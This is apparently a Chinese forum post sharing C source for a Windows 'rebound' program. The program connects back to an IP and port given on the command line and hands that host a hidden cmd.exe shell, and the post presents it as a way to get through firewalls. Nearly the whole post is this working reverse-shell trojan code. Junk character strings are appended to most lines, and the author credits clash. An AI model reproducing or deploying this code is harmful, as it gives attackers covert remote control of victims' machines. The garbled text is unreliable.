这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 r83chR9
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/* ============================== F0,-7<G
Rebound port in Windows NT '_)NI
By wind,2006/7 f( (p\&y
===============================*/ A#&Q(g\YE
#include 3,qq\gxB
#include @@$%+XNY
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#pragma comment(lib,"wsock32.lib") " jefB6k9h
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void OutputShell(); /9/svPc]
SOCKET sClient; X
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 56!>}!8!
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void main(int argc,char **argv) 0fc]RkHs"
{ F$ a?} }
WSADATA stWsaData; Qg]8~^Q<
int nRet; x!rHkuH~
SOCKADDR_IN stSaiClient,stSaiServer; 2?; =TJo$
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if(argc != 3) "52nT
{ ,BuN]9#
printf("Useage:\n\rRebound DestIP DestPort\n"); w3j51v` 0'
return; v@OyB7}
} FS.z lk\D=
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WSAStartup(MAKEWORD(2,2),&stWsaData); N_jCx*.G
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @d5G\1(%
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stSaiClient.sin_family = AF_INET; 5gpqN)|)[
stSaiClient.sin_port = htons(0); 2Z]<MiAx D
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !*8x>,/>
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) G-FTyIP>'
{ M,Y lhL
printf("Bind Socket Failed!\n"); Ln;jB&t
return; y]OW{5(
} \Yv<TzJ9
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stSaiServer.sin_family = AF_INET; &JoMrcEZ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )2Gp3oD?
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -la~p~8
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #UREFwSL
{ 1m-"v:fT5D
printf("Connect Error!"); #80*3vi~F
return; \6B,\l]$t@
} eK"B.q7
OutputShell(); ?i4}[q
} S3"js4a
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void OutputShell() kmM4KP#&|
{ J.x>*3<l
char szBuff[1024]; pk'@!|g%=
SECURITY_ATTRIBUTES stSecurityAttributes; .rj FhSr$
OSVERSIONINFO stOsversionInfo; ;??wLNdf-
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Hk-)fl#dr
STARTUPINFO stStartupInfo; d#T8|#O"
char *szShell; pt8X.f,iA
PROCESS_INFORMATION stProcessInformation; $ 1(u.Ud
unsigned long lBytesRead; 4ei
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3OHP-oa.
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =5&)^
stSecurityAttributes.lpSecurityDescriptor = 0; dJ`Fvj
stSecurityAttributes.bInheritHandle = TRUE; yy?|q0
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;?;D(%L
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9#%(%s2+
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L{2\NJ"+u
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L}A R{
stStartupInfo.wShowWindow = SW_HIDE; l1c&a[M)
stStartupInfo.hStdInput = hReadPipe; 49
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 'O`jV0aa'
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GetVersionEx(&stOsversionInfo); w0~iGr}P
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switch(stOsversionInfo.dwPlatformId) lf|e8kU\f
{ I(Nsm3L
case 1: *6*#"#D
szShell = "command.com"; *D<S \6=
break; h.
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default:
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szShell = "cmd.exe"; 1s\10 hK1c
break; J+\F)k>r
}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); v}zo vEi
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send(sClient,szMsg,77,0); j`BFk>
while(1) Hh;w\)/%j
{ QVn0!R{
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 94APjqV6'
if(lBytesRead) <zZAVGb4I
{ NG'VlT
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /F;*[JZIb
send(sClient,szBuff,lBytesRead,0); .ET;wK
} no?)GQ
else 6xL=JSi~
{ P+}qaup
lBytesRead=recv(sClient,szBuff,1024,0); ~n[LL)v
if(lBytesRead<=0) break; />ob*sk/Y
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &K>]!yn
} ?qO,=ms>-
} 20?i4h_
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return; Od&M^;BQ
}